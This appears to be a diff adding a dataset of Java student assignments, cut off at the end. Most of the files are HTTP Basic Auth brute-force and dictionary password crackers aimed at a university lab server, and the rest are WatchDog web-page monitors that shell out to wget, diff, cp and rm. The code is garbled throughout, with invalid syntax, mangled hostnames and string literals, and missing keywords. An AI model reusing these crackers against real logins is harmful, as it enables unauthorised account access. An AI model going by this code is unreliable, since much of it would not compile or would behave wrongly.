+        System.out.println(System.currentTimeMillis()/1000);
+
+      try{
+        reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));
+        while (!flag)
+        {
+            try{
+               line = reader.readLine();
+               attempt++;
+               URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+               URLConnection yc = url.openConnection();
+               pass = "":"" + line;
+               String password = new url.misc.BASE64Encoder().encode(pass.getBytes());
+               yc.setRequestProperty(""Authorization"","" ""+password);
+               BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
+               String inputLine;
+               while ((inputLine = in.readLine()) != null)
+                   System.out.println(inputLine);
+               in.close();
+               System.out.println(pass);
+               flag=true;
+               System.out.println(System.currentTimeMillis()/1000); 
+               System.out.println("" of attempt: ""+attempt);
+               System.exit(0);
+             }catch(IOException e){
+                
+             }
+        }  
+      }catch(FileNotFoundException e){
+         System.out.println(""File not found"");
+
+      }
+    }
+}"
+244.java,"
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+import java.io.*;
+import java.net.*;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.*;
+
+public class BruteForce {
+
+   public static void main(String[] args) throws IOException {
+
+      
+      int start , end, total;
+      start = System.currentTimeMillis(); 
+
+      String username = """";
+      String password = null;
+      String host = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+
+      
+      
+      String letters = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
+      int lettersLen = letters.length(); 
+      int passwordLen=3; 
+
+      int passwords=0; 
+      int twoChar=0; 
+
+      url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();
+      
+
+      
+      String authenticate = """"; 
+      String realm = null, domain = null, hostname = null;
+       header = null; 
+
+      
+      int responseCode;
+      String responseMsg;
+
+      
+      int temp1=0;
+      int temp2=0;
+      int temp3=0;
+
+
+      
+      
+      
+      for (int a=1; a<=passwordLen; a++) {
+        temp1  = (int) Math.pow(lettersLen, a);
+         passwords += temp1;
+         if (a==2) {
+            twoChar = temp1; 
+         }
+      }
+
+      System.out.println(""Brute Attack  "" + host + "" has commenced."");
+      System.out.println(""Number of possible password combinations: "" + passwords);
+
+
+      int i=1; 
+
+       {
+         try {
+            
+            URL url = new URL(host);
+            HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();
+
+            
+            if(realm != null) {
+
+               
+               if ( i < lettersLen) {
+                  
+
+                   password = letters.substring(i, (i+1));
+
+               } else if (i < (lettersLen + twoChar)) {
+                   
+
+                   
+                   temp1 = i / lettersLen;
+                   password = letters.substring((-1), start );
+
+                   
+                   temp1 = i - ( temp1 * lettersLen);
+                   password = password + letters.substring(temp1, (+1));
+
+               } else {
+                   
+
+                   
+                   temp2 = i / lettersLen;
+                   temp1 = i - (temp2 * lettersLen);
+                   password = letters.substring(temp1, (+1));
+
+                   
+                   temp3 = temp2; 
+                   temp2 = temp2 / lettersLen;
+                   temp1  = temp3 - (temp2 * lettersLen);
+                   password = letters.substring(temp1, (+1)) + password;
+
+                   
+                   temp3 = temp2; 
+                   temp2 = temp2 / lettersLen;
+                   temp1 = temp3 - (temp2 * lettersLen);
+                   password = letters.substring(temp1, (+1)) + password;
+
+               } 
+
+               
+               
+               authenticate = username + "":"" + password;
+               authenticate = new String(base.encode(authenticate.getBytes()));
+               httpConnect.addRequestProperty(""Authorization"", "" "" + authenticate);
+
+            } 
+
+            
+            httpConnect.connect();
+
+            
+            realm = httpConnect.getHeaderField(""WWW-Authenticate"");
+            if (realm != null) {
+               realm = realm.substring(realm.indexOf('""') + 1);
+               realm = realm.substring(0, realm.indexOf('""'));
+            }
+
+            hostname = url.getHost();
+
+            
+            responseCode = httpConnect.getResponseCode();
+            responseMsg = httpConnect.getResponseMessage();
+
+            
+            
+            
+            
+            
+
+            
+            
+            if (responseCode == 200) {
+               
+               end = System.currentTimeMillis();
+               total = (end - start) / 1000; 
+
+               System.out.println (""Sucessfully Connected  "" + url);
+               System.out.println(""Login Attempts Required : "" + (i-1));
+               System.out.println(""Time Taken in Seconds : "" + total);
+               System.out.println (""Connection Status : "" + responseCode + "" "" + responseMsg);
+               System.out.println (""Username : "" + username);
+               System.out.println (""Password : "" + password);
+               System.exit( 0 );
+            } else if (responseCode == 401 && realm != null) {
+               
+               
+               
+               if (i > 1) {
+
+               }
+            } else {
+               
+               
+                System.out.println (""What the?... The server replied with  unexpected reponse."" );
+               System.out.println ("" Unexpected Error Occured While Attempting  Connect  "" + url);
+               System.out.println (""Connection Status: "" + responseCode + responseMsg);
+               System.out.println (""Unfortunately the password could not  recovered."");
+               System.exit( 0 );
+           }
+
+           i++;
+
+        } catch(MalformedURLException e) {
+           System.out.println(""Opps, the URL "" + host + "" is not valid."");
+           System.out.println(""Please check the URL and try again."");
+        } catch(IOException e) {
+           System.out.println("", 't connect  "" + host + ""."");
+           System.out.println(""Please check the URL and try again."");
+           System.out.println(""Other possible causes include website is currently unavailable"");
+           System.out.println(""  have  internet connection problem."");
+        } 
+
+     }  while(realm != null); 
+
+
+   }
+}"
+236.java,"import java.io.*;
+
+public class ReadDictionary {
+	private BufferedReader bf;
+	private String line="""";
+
+   public static void main (String argv[]) throws Exception { 
+      ReadDictionary rd=new ReadDictionary();
+	  rd.openFile();
+	  for (int inx=0; inx<800 ;inx++ )
+	  {
+	  	System.out.println(inx + "" "" + rd.readLine() );
+	  }
+      }  
+	  
+  
+
+	public void openFile()
+	{
+		try
+		{
+			setBr(new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")));
+
+		}catch(IOException e)
+		{
+			System.out.println(e.getMessage());
+		}
+	}
+
+	public String readLine()
+	{
+		try
+		{
+			
+			{
+				line = bf.readLine();
+			}while (line != null && line.length() >3);			
+		}catch (IOException e)
+		{
+			System.out.println(e.getMessage());
+		}
+		return(line);
+		
+	}	
+
+	
+	public BufferedReader getBr()
+	{
+		return this.line;
+	}
+
+	public void setBr(BufferedReader bf)
+	{
+		this.bf = bf;
+	}
+}
+"
+088.java,"import java.io.*;
+import java.net.*;
+import java.security.*;
+import java.math.*;
+import java.*;
+import java.util.*;
+
+
+public class WatchDog
+{
+    public static FileWriter out = null, output = null;
+
+    public static void main (String args[]) throws Exception {
+	Socket socket = null;
+	DataOutputStream  = null;
+	BufferedReader bf = null, fr = null;
+	String retVal = null, StatusCode = ""HTTP/1.1 200 OK"";
+    int dirty = 0, count = 0;
+
+         stime = System.currentTimeMillis();
+        System.out.println(""Detecting the changes..."");
+
+        try {
+
+	        
+            URL yahoo = new URL(""http://www.cs.rmit.edu./students/"");
+            URLConnection yc = yahoo.openConnection();
+
+            
+            BufferedReader in = new BufferedReader(
+                                    new InputStreamReader(
+                                    yc.getInputStream()));
+
+            String inputLine;
+            try {
+                out = new FileWriter(""newstudent"");
+                while ((inputLine = in.readLine()) != null){
+                        out.write(inputLine + ""\n"");
+                }
+            } catch (IOException ex) {
+                ex.printStackTrace();
+            }
+            in.print();
+            out.print();
+
+            dirty = diff();
+            if (dirty == 1){
+               sendMail();
+               System.out.println(""Changes detected and email sent!"");
+            }
+
+            if (diffimages() == 1){
+               sendMail();
+               System.out.println(""Images modification detected and email sent!"");
+            }
+
+            updatePage();
+            System.out.println(""** End of WatchDog checking **"");
+
+            } catch (Exception ex) {
+              ex.printStackTrace();
+            }
+    }
+
+    public static int diff()
+    {
+       int update = 0;
+
+       try{
+           Process process = Runtime.getRuntime().exec(""diff -b RMITCSStudent newstudent"");
+           BufferedReader pr = new BufferedReader(
+                                   new InputStreamReader(
+                                   process.getInputStream()));
+
+           output = new FileWriter(""output"");
+           String inputLine;
+           while ((inputLine = pr.readLine()) != null){
+                 output.write(inputLine + ""\n"");
+                 update = 1;
+           }
+           output.promt();
+
+       }catch (Exception ex){
+              ex.printStackTrace();
+       }
+       return update;
+    }
+
+    public static int diffimages()
+    {
+       int update = 0;
+       String image;
+
+       try{
+           Process primages = Runtime.getRuntime().exec(""./images.sh"");
+           wait(1);
+           File imageFile = new File(""imagesname"");
+           BufferedReader fr = new BufferedReader(new FileReader(imageFile));
+
+           output = new FileWriter(""output"");
+           while ((image = fr.readLine()) != null) {
+                 primages = Runtime.getRuntime().exec(""diff "" + image + "" o""+image);
+                 BufferedReader pr = new BufferedReader(
+                                       new InputStreamReader(
+                                       primages.getInputStream()));
+
+                 String inputLine;
+                 while ((inputLine = pr.readLine()) != null){
+                       output.write(inputLine + ""\n"");
+                       update = 1;
+                 }
+           }
+           output.print();
+           fr.close();
+
+       }catch (Exception ex){
+              ex.printStackTrace();
+       }
+       return update;
+    }
+
+    public static void sendMail()
+    {
+       try{
+           Process mailprocess = Runtime.getRuntime().exec(""./email.sh"");
+       }catch (Exception ex){
+           ex.printStackTrace();
+       }
+    }
+
+    public static void updatePage()
+    {
+       String image;
+
+       try{
+           Process updateprocess = Runtime.getRuntime().exec(""cp newstudent RMITCSStudent"");
+           Process deleteprocess = Runtime.getRuntime().exec(""rm newstudent"");
+
+           File inputFile = new File(""imagesname"");
+           BufferedReader fr = new BufferedReader(new FileReader(inputFile));
+           while ((image = fr.readLine()) != null) {
+                 updateprocess = Runtime.getRuntime().exec(""cp "" + image + "" o"" + image);
+                 deleteprocess = Runtime.getRuntime().exec(""rm "" + image);
+           }
+           fr.close();
+       }catch (Exception ex){
+           ex.printStackTrace();
+       }
+    }
+
+    public static void wait(int time){
+	   int timer, times;
+	   timer = System.currentTimeMillis();
+	   times = (time * 1000) + timer;
+
+	   while(timer < times)
+			timer = System.currentTimeMillis();
+	}
+}"
+256.java,"
+
+import java.net.*;
+import java.io.*;
+
+import java.*;
+import java.util.*;
+
+public class Dictionary {
+
+  private static String commandLine = ""curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :"";
+  private String password;             
+  private String previous;             
+  private String url;                  
+  private int startTime;
+  private int endTime;
+  private int totalTime;
+  private float averageTime;
+  private boolean finish;
+  private Process curl;
+  private BufferedReader bf, responseLine;
+
+  public Dictionary() {
+
+  first();
+  finish = true;                           
+  previous = """";                           
+  Runtime run = Runtime.getRuntime();
+  startTime =new Date().getTime();         
+  int i=0;
+  try {
+   try {
+     bf = new BufferedReader(new FileReader(""words""));
+   }
+   catch(FileNotFoundException notFound) {
+    bf  = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
+   }
+
+   while((password = bf.readLine()) != null) {
+    if(password.length()>3) password = password.substring(0,3);
+    if(previous.equals(password)) ;
+    else {
+    previous = password;
+    url = commandLine+password;
+    curl= run.exec(url);                   
+    responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream()));
+    
+    if(responseLine.readLine().substring(9,12).equals(""200"")) break;
+    }
+   }
+  }
+  catch(IOException ioe) {
+    System.out.println(""\n IO Exception! \n"");
+    System.out.println(""The current url is:""+ url);
+    System.out.println(""The current trying password is:""+password);
+    finish=false;
+  }
+
+  endTime = new Date().getTime();          
+  totalTime = (endTime-startTime)/1000;
+  System.out.println(""   The response time is:""+ totalTime + ""  seconds\n"");
+  if(finish) {
+    System.out.println(""   The password for  is:""+ password);
+    try {
+    savePassword(password, totalTime);
+    }
+    catch (IOException ioec) {
+       System.out.println(""  not save the password  file Dictionary_pwd.txt "");
+    }
+  }
+  }
+
+
+  public void savePassword(String passwdString, int time) throws IOException {
+  DataOutputStream outputStream = new DataOutputStream(new FileOutputStream(""Dictionary_pwd.txt""));
+  outputStream.writeChars(""The password is:"");
+  outputStream.writeChars(passwdString+""\n"");
+  outputStream.writeChars(""The response time is: "");
+  outputStream.writeChars(sw.toString(time));
+  outputStream.writeChars("" seconds\n"");
+  outputStream.close();
+  }
+
+  public void first() {
+
+    System.out.println(""\n\n----------------------------------------------"");
+    System.out.println(""   Use curl command and dictionary "");
+    System.out.println(""  Brute Force the password for user  "");
+    System.out.println(""----------------------------------------------"");
+  }
+
+  public static void main(String[] args) {
+   new Dictionary();
+  }  
+}
+"
+150.java,"
+
+import java.net.*; 
+import java.io.*; 
+import java.util.Date; 
+public class  Dictionary{
+private static String password=""   ""; 
+
+   
+  public static void main(String[] args) {
+   String Result="""";   
+	 if (args.length<1)
+	 {
+       System.out.println(""Correct Format Filename  username e.g<>""); 
+        System.exit(1);	
+	 }
+	 
+	 Dictionary dicton1 = new Dictionary();
+      Result=dicton1.Dict(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]); 
+	  System.out.println(""Cracked Password for The User ""+args[0]+"" The Password is..""+Result); 
+      
+
+ 
+ 
+  }
+
+
+
+ private String Dict(String urlString,String username) 
+ { 
+  int cnt=0;
+  FileInputStream stream=null;
+  DataInputStream word=null;
+
+	try{ 
+	 stream = new FileInputStream (""/usr/share/lib/dict/words""); 
+
+	word =new DataInputStream(stream);
+	 t0 = System.currentTimeMillis();  
+		 while (word.available() !=0)   
+			{
+									
+			password=word.readLine();
+				 if (password.length()!=3)
+				 {
+					continue;
+				 }
+				 System.out.print(""crackin...:""); 
+			     System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" ); 
+			  URL url = new URL (urlString);
+				String userPassword=username+"":""+password;  
+				   
+				   String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
+					 URLConnection conc = url.openConnection();
+						   conc.setRequestProperty  (""Authorization"", "" "" + encoding);			   
+						   conc.connect();  
+						   cnt++;
+					   if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK""))
+						 {
+							System.out.println(""The Number Of Attempts : ""+cnt); 
+							 t1 = System.currentTimeMillis();  
+							 net=t1-t0;
+							System.out.println(""Total Time in secs...""+net/1000); 
+							return password;  
+						}
+ 		 		
+	         }
+
+				}
+
+		      	catch (Exception e )
+				{
+				  e.printStackTrace();   
+
+				}
+
+    
+try
+{
+word.close();
+stream.close(); 
+	
+}
+ 
+catch (IOException e)
+{ 
+System.out.println(""Error in closing input file:\n"" + e.toString()); 
+} 
+
+return ""Password could not  found"";  
+ } 
+ 
+
+}"
+212.java,"
+
+import java.net.*;
+import java.io.*;
+
+public class sendMail {
+
+public void sendMail(String mailServer, String recipient, String result) {
+   try {
+      Socket s = new Socket(mailServer, 25);
+      BufferedReader in = new BufferedReader
+          (new InputStreamReader(s.getInputStream(), ""8859_1""));
+      BufferedWriter out = new BufferedWriter
+          (new OutputStreamWriter(s.getOutputStream(), ""8859_1""));
+
+      send(in, out, ""HELO client"");
+
+      send(in, out, ""MAIL FROM: <WatchDog@SecureECommerce.>"");
+      send(in, out, ""RCPT : "" + recipient);
+      send(in, out, ""DATA"");
+      send(out, ""Subject: "");
+      send(out, ""From: Admin <WatchDog@SecureECommerce.>"");
+      send (out, ""\n"");
+      
+      send(out, result);
+      send(out, ""\n.\n"");
+      send(in, out, ""QUIT"");
+
+      }
+   catch (Exception e) {
+      e.printStackTrace();
+      }
+   }
+
+ public void send(BufferedReader in, BufferedWriter out, String s) {
+   try {
+      out.write(s + ""\n"");
+      out.flush();
+      System.out.println(s);
+      s = in.readLine();
+      System.out.println(s);
+      }
+   catch (Exception e) {
+      e.printStackTrace();
+      }
+   }
+
+ public void send(BufferedWriter out, String s) {
+   try {
+      out.write(s + ""\n"");
+      out.flush();
+      System.out.println(s);
+      }
+   catch (Exception e) {
+      e.printStackTrace();
+      }
+   }
+}"
+047.java,"import java.io.*;
+import java.net.*;
+import java.text.*;
+import java.util.*;
+
+class Dictionary {
+
+    private String password="""";
+
+    private int num=401;
+
+
+    public static void main(String[] args) {
+
+
+      Dictionary URLcon;
+
+      int length = 0;
+
+      String passwd="""";
+
+       int t0,t1;
+
+      String line ="""";
+      
+      if (args.length == 0) {
+      	
+      System.err.println (
+      		
+      		""Usage : java BruteForce <username>"");
+      return;
+      	
+      }
+      
+      String username = args[0];
+      
+      
+      t0=System.currentTimeMillis();
+      
+      System.out.println (""  "" + new Date());
+      System.out.println (""Using Dictionary method  attack ""+username+""'s password.  Please waiting......."");
+
+      try{ BufferedReader in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
+
+           while ((passwd=in.readLine())!=null) {
+
+           	 URLcon = new Dictionary (passwd,username);
+
+             if ((URLcon.num)!=401) {
+
+             	t1=System.currentTimeMillis();
+
+                System.out.println(""The password: ""+ passwd);
+
+             	double dt =t1-t0;
+
+             	System.out.println(""It took ""+DecimalFormat.getInstance().format(dt/1000)+ "" seconds"");
+                
+                System.out.println (""Finish  "" + new Date());
+                
+             	return;
+
+             }
+
+
+           	}
+
+      }catch (FileNotFoundException e){
+      	System.out.println(e);
+      }catch (IOException e){
+      	System.out.println(e);
+      }
+
+
+       System.out.println("" not find the password"");
+
+
+}
+
+   public  Dictionary  (String password,String username) {
+
+  	  String urlString =  ""http://sec-crack.cs.rmit.edu./SEC/2/"" ;
+
+      
+      try {
+
+        String userPassword = username+"":""+password ;
+
+        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());
+
+        URL url = new URL (urlString);
+
+        HttpURLConnection uc = (HttpURLConnection) url.openConnection();
+
+        uc.setRequestProperty (""Authorization"", "" "" + encoding);
+
+         url = uc.getResponseCode();
+
+
+       }
+        catch(MalformedURLException e){
+       	  System.out.println(e);
+       }catch(IOException e){
+          System.out.println(e);
+       }
+
+
+   }
+}"
+231.java,"import java.io.*;
+import java.*;
+import java.net.*;
+
+public class BruteForce
+{
+   public static void main(String[] args) throws Exception
+   {
+      
+     String password = checkPassword(); 
+
+     System.out.println(""Congratulations Your password is ""+ password );
+      
+      
+
+      URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+      HttpURLConnection sec = (HttpURLConnection)url.openConnection();
+      sec.setRequestProperty(""Authorization"", "" "" + encode("":""+password));
+      BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream()));
+      String inputLine;
+
+      while ((inputLine = in.readLine()) != null)
+         System.out.println(inputLine);
+      in.close();
+  }
+
+    
+
+   private static String checkPassword() throws Exception
+   {
+      String Password="" "";
+      int attempt=0;
+      URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+      HttpURLConnection sec;
+      String[] cad = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",
+                      ""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",
+                      ""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",
+                      ""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""};
+
+      for (int i=0; i < cad.length; i++)
+      {
+         for (int j=0; j< cad.length;j++)
+         {
+            for (int k=0; k<cad.length;k++)
+            {
+               attempt++;
+               String Passwd = new String(cad[i]+cad[j]+cad[k]);
+               String userPasswd= "":""+Passwd;
+               System.out.println(attempt+"" ""+userPasswd);
+              
+               sec = (HttpURLConnection)url.openConnection();
+               sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd));
+
+               if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK""))
+               {
+                  Password=Passwd;
+                  return Password;
+               }
+               sec.disconnect();
+            }  
+         }  
+      }  
+      return ""Password not found"";
+   }
+
+   private static String encode(String userPasswd) throws Exception
+   {
+      String ad;
+      String encodedUserPasswd="" "";
+      String addr= ""~//base64_encode.php ""+userPasswd ;
+      Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", addr});
+      BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream()));
+      
+      while ( (cad = resp.readLine()) != null )
+      {
+         
+         encodedUserPasswd=cad;
+      }
+      return encodedUserPasswd;
+    }
+}
+
+"
+158.java,"
+import java.net.*;
+import java.io.*;
+
+
+public class BruteForce {
+
+  public static void main(String args[])
+  {
+  int i,j,k;
+  String pass = new String();
+  String UserPass = new String();
+  String status = new String();
+  String status1 = new String();
+  BasicAuth auth = new BasicAuth();
+  URLConnection  connect;
+   int start,end,diff;
+
+  try {
+               URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/"");
+
+           start  =System.currentTimeMillis();
+
+
+              DataInputStream dis ;
+
+      for (i=0;i<=58;i++)
+      {
+
+        for (j=0;j<=58;j++)
+        {
+
+          for (k=1;k<=58;k++)
+          {
+
+           
+
+
+            if (i !=0)
+            {
+
+
+              pass = """" + (char)(k+64) + (char)(j+65) + (char)(i+64);
+
+              if ((i+64) >=91 && (i+64) <=96)
+              break;
+
+               if ((j+65) >=91 && (j+65) <=96)
+              break;
+
+               if ((k+64) >=91 && (k+64) <=96)
+              continue;
+
+
+              UserPass= auth.encode("""",pass);
+
+              connect = url.openConnection();
+              connect.setDoInput(true);
+              connect.setDoOutput(true);
+
+              connect.setRequestProperty(""Host"",""sec-crack.cs.rmit.edu."");
+              connect.setRequestProperty(""Get"",""/SEC/2/ HTTP/1.1"");
+              connect.setRequestProperty(""Authorization"","" "" + UserPass);
+              connect.connect();
+
+              status =connect.getHeaderField(0);
+              status1 = status.substring( 9,12);
+
+              if (status.equalsIgnoreCase(""HTTP/1.1 200 OK""))
+              {
+              System.out.println(""Password is "" + pass);
+              end=System.currentTimeMillis();
+              diff= end - start;
+              System.out.println(""Time Taken = "" + (diff/1000) + "" sec"" );
+              System.exit(0);
+              }
+              ((HttpURLConnection)connect).disconnect();
+              connect = null;
+            }
+
+
+
+
+          }
+        }
+      }
+
+      System.out.println("" match found"");
+      connect = null;
+
+     }
+
+    catch (MalformedURLException malerr)
+  {
+  System.err.println(""Unable  Open URL"" + malerr);
+  }
+
+  catch (Exception ioerr)
+  {
+  System.err.println(""Unable  retrive URL"" + ioerr);
+  }
+
+
+
+
+  }
+}"
+111.java,"
+
+import java.io.BufferedReader;
+import java.io.FileReader;
+
+import org.apache.commons.httpclient.HttpClient;
+import org.apache.commons.httpclient.UsernamePasswordCredentials;
+import org.apache.commons.httpclient.cookie.CookiePolicy;
+import org.apache.commons.httpclient.methods.GetMethod;
+
+
+
+
+public class  Dictionary{
+    static final String LOGON_SITE_HACKER = DictionaryPropertyHelper.getProperty(""logonSite"");
+    static final int    LOGON_PORT_HACKER = Integer.valueOf(DictionaryPropertyHelper.getProperty(""logonPort"")).intValue();
+	static final String cad = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklumnopqrstuvwxyz"";
+
+    static final int    USE_PROXY_SERVER  = Integer.valueOf(DictionaryPropertyHelper.getProperty(""useProxyServer"")).intValue();
+    static final int    PROXY_PORT        = Integer.valueOf(DictionaryPropertyHelper.getProperty(""proxyPort"")).intValue();
+
+    static final String PROXY_SERVER      = DictionaryPropertyHelper.getProperty(""proxyServer"");
+    static final String PROXY_USENAME     = DictionaryPropertyHelper.getProperty(""proxyUserName"");
+    static final String PROXY_PASSWORD    = DictionaryPropertyHelper.getProperty(""proxypassword"");
+
+
+
+    static final String GET_METHOD_HACKER = DictionaryPropertyHelper.getProperty(""getMethod"");
+    static final int    NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(DictionaryPropertyHelper.getProperty(""numberOfGetsBeforeReleaseConnection"")).intValue();
+
+
+    public Dictionary() {
+        super();
+    }
+
+
+
+
+
+    public static void main(String[] args) throws Exception {
+
+		String statusLine = "" "";
+		int count = 0;
+		int divValue = 0;
+
+		String userName = """";
+		String password = """";
+
+
+        HttpClient client = new HttpClient();
+
+        if (USE_PROXY_SERVER == 1) {
+  			client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);
+  			client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD));
+
+        }
+        client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);
+        client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, ""http"");
+        GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);
+
+
+
+		
+    	BufferedReader wordFile = new BufferedReader(new FileReader(DictionaryPropertyHelper.getProperty(""dictionaryFile"")));
+
+		while ((password = wordFile.readLine()) != null) {
+
+
+			if (validateWord(password)) {
+
+				client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
+				++count;
+				System.out.println("" Counter "" + count + "" Password "" + password);
+
+				divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;
+
+				if (divValue == 0) {
+
+
+
+					System.out.println(""Count: ""+ count + "" Div Value: ""+ divValue+ "" Releasing the connection and getting new one"");
+					getMethod.releaseConnection();
+					getMethod = null;
+					getMethod = new GetMethod(GET_METHOD_HACKER);
+
+				}
+
+		        client.executeMethod(getMethod);
+
+		        statusLine = getMethod.getStatusLine().toString();
+
+
+				
+				
+
+				if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) {
+
+
+					System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);
+
+
+					System.exit(0);
+				}
+
+
+			}
+
+		}
+
+		System.out.println(""Could not find the password!"");
+
+    }
+
+
+
+	
+	public static boolean validateWord(String str) {
+
+	
+
+
+		boolean isValid = false;
+
+		
+		if (str.length() > 3) {
+			return isValid;
+		}
+
+		for (int i = 0; i < str.length(); i++) {
+			for (int j = 0; j < cad.length(); j++) {
+				if (str.charAt(i) == cad.charAt(j)) {
+					isValid = true;
+					break;
+				}
+				else
+					isValid = false;
+			}
+			if (!isValid)
+				break;
+		}
+		return isValid;
+	}
+
+
+}
+"
+226.java,"
+
+
+
+
+
+
+
+import java.io.*;
+import java.net.*;
+import javax.swing.Timer;
+import java.awt.event.*;
+import javax.swing.JOptionPane;
+
+public class WatchDog 
+{
+	private static Process pro = null;
+	private static Runtime run = Runtime.getRuntime();
+	
+	public static void main(String[] args) 
+	{
+		String cmd = null;
+		try
+		{
+			cmd = new String(""wget -O original.txt http://www.cs.rmit.edu./students/"");
+
+			pro = run.exec(cmd);
+			System.out.println(cmd);
+		}
+		catch (IOException e)
+		{
+		}
+	
+		class Watch implements ActionListener
+		{
+			BufferedReader in = null;
+			String str = null;
+			Socket socket;
+			public void actionPerformed (ActionEvent event)
+			{
+				
+				try
+				{
+					System.out.println(""in Watch!"");
+					String cmd = new String();
+					int ERROR = 1;
+					cmd = new String(""wget -O new.txt http://www.cs.rmit.edu./students/"");
+
+
+					System.out.println(cmd);
+					cmd = new String(""diff original.txt new.txt"");
+					pro = run.exec(cmd);
+					System.out.println(cmd);
+					in = new BufferedReader(new InputStreamReader(pro.getInputStream()));
+
+					if (((str=in.readLine())!=null)&&(!str.endsWith(""d0"")))
+					{
+						System.out.println(str);
+						try
+						{
+							socket = new Socket(""yallara.cs.rmit.edu."",25);
+							PrintWriter output = new PrintWriter(socket.getOutputStream(),true);
+							String linetobesent = null;
+							BufferedReader getin = null;
+
+							try
+							{
+								FileReader  = new FileReader(""template.txt"");
+								getin = new BufferedReader();
+								while (!(linetobesent=getin.readLine()).equals(""""))
+								{
+									System.out.println(linetobesent);
+									output.println(linetobesent);
+								}
+								output.println(""Orignail Line .s C New Line .s "" + str);
+								while ((linetobesent=in.readLine())!=null)
+								{
+									output.println(linetobesent);
+									System.out.println(linetobesent);
+								}
+								while ((linetobesent=getin.readLine())!=null)
+								{
+									output.println(linetobesent);
+									System.out.println(linetobesent);
+								}
+								cmd = new String(""cp new.txt original.txt"");
+								System.out.println(cmd);
+								pro = run.exec(cmd);
+								
+							}
+							catch (IOException ex)
+							{
+								System.out.println(ex);
+							}
+							catch (Exception ex)
+							{
+								System.out.println(ex);
+								System.exit(ERROR);
+							}
+							finally
+							{
+								try
+								{
+									if (getin!= null)
+										getin.read();
+								}
+								catch (IOException e) {}
+							}
+
+						}
+						catch (UnknownHostException e)
+						{
+							System.out.println(e);
+							System.exit(ERROR);
+						}
+						catch (IOException e) 
+						{
+							System.out.println(e);
+							System.exit(ERROR);
+						}
+
+
+
+
+
+
+
+					}
+					else
+						System.out.println(""string is empty"");
+				}
+				catch (IOException exc)
+				{
+				}
+			
+			}
+		}
+		
+		Watch listener = new Watch();
+		Timer t = new Timer(null,listener);
+		t.close();	
+	
+		JOptionPane.showMessageDialog(null,""Exit WatchDog program?"");
+		System.exit(0);
+	}
+}
+"
+164.java,"
+package java.httputils;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.sql.Timestamp;
+
+
+public class BasicAuthHttpRequest extends HttpRequestClient
+{
+    String userName;
+    String password;
+    
+    protected BasicAuthHttpRequest(String url, String userName, String password)
+        throws MalformedURLException, IOException
+    {
+        setPassword(password);
+        setUserName(userName);
+        setServerURL(new URL(url));
+        
+        setStart(new Timestamp(System.currentTimeMillis()));
+
+        String userPassword = userName + "":"" + password;
+
+        
+        String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
+
+       
+
+       setHttpConnection(
+        (HttpURLConnection)this.getServerURL().openConnection());
+
+        
+        getHttpConnection().setRequestProperty (""Authorization"", "" "" + encoding);
+        doRequest();
+    }
+
+    
+    protected BasicAuthHttpRequest(String url)
+        throws MalformedURLException, IOException
+    {
+        super(url);
+    }
+
+    
+    public BasicAuthHttpRequest()
+    {
+        super();
+    }
+
+
+    
+    public String getPassword()
+    {
+        return password;
+    }
+
+    
+    public String getUserName()
+    {
+        return userName;
+    }
+
+    
+    public void setPassword(String string)
+    {
+        password = string;
+    }
+
+    
+    public void setUserName(String string)
+    {
+        userName = string;
+    }
+
+    public static void main (String[] args)
+    {
+        BasicAuthHttpRequest client = null;
+        try
+        {
+            client = new BasicAuthHttpRequest(args[0], args[1], args[2]);
+        }
+        catch (MalformedURLException e)
+        {
+            e.printStackTrace();
+        }
+        catch (IOException e)
+        {
+            e.printStackTrace();
+        }
+        finally
+        {
+            if (client != null && client.getCode() != HttpURLConnection.HTTP_UNAUTHORIZED)
+            {
+                System.out.println(
